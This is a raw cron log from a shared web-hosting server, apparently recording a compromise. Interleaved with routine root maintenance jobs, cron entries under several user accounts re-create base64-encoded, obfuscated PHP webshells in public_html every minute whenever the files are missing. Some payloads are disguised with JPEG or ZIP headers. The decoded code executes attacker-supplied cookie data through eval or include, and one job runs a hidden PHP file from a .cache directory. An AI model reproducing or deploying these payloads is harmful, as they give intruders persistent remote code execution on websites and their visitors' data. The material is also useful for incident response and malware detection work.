Mar  1 11:48:01 medusa CROND[24461]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:48:01 medusa CROND[24462]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:48:01 medusa CROND[24463]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 11:48:01 medusa CROND[24464]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:48:01 medusa CROND[24467]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:48:01 medusa CROND[24469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:48:01 medusa CROND[24470]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 11:48:01 medusa CROND[24471]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:48:01 medusa CROND[24472]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:48:01 medusa CROND[24473]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:48:01 medusa CROND[24474]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:49:01 medusa CROND[14034]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:49:01 medusa CROND[14095]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:49:01 medusa CROND[14096]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 11:49:01 medusa CROND[14094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 11:49:01 medusa CROND[14093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 11:49:01 medusa CROND[14092]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 11:49:01 medusa CROND[14100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:49:01 medusa CROND[14101]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:49:01 medusa CROND[14102]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:49:01 medusa CROND[14106]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:49:01 medusa CROND[14097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:49:01 medusa CROND[14110]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 11:50:01 medusa CROND[3692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 11:50:01 medusa CROND[3697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 11:50:01 medusa CROND[3699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 11:50:01 medusa CROND[3724]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 11:50:01 medusa CROND[3787]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 11:50:02 medusa CROND[3833]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 11:50:02 medusa CROND[3900]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 11:50:02 medusa CROND[3902]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 11:50:02 medusa CROND[3904]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3905]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 11:50:02 medusa CROND[3911]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 11:50:02 medusa CROND[3909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 11:50:02 medusa CROND[3915]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 11:50:02 medusa CROND[3916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
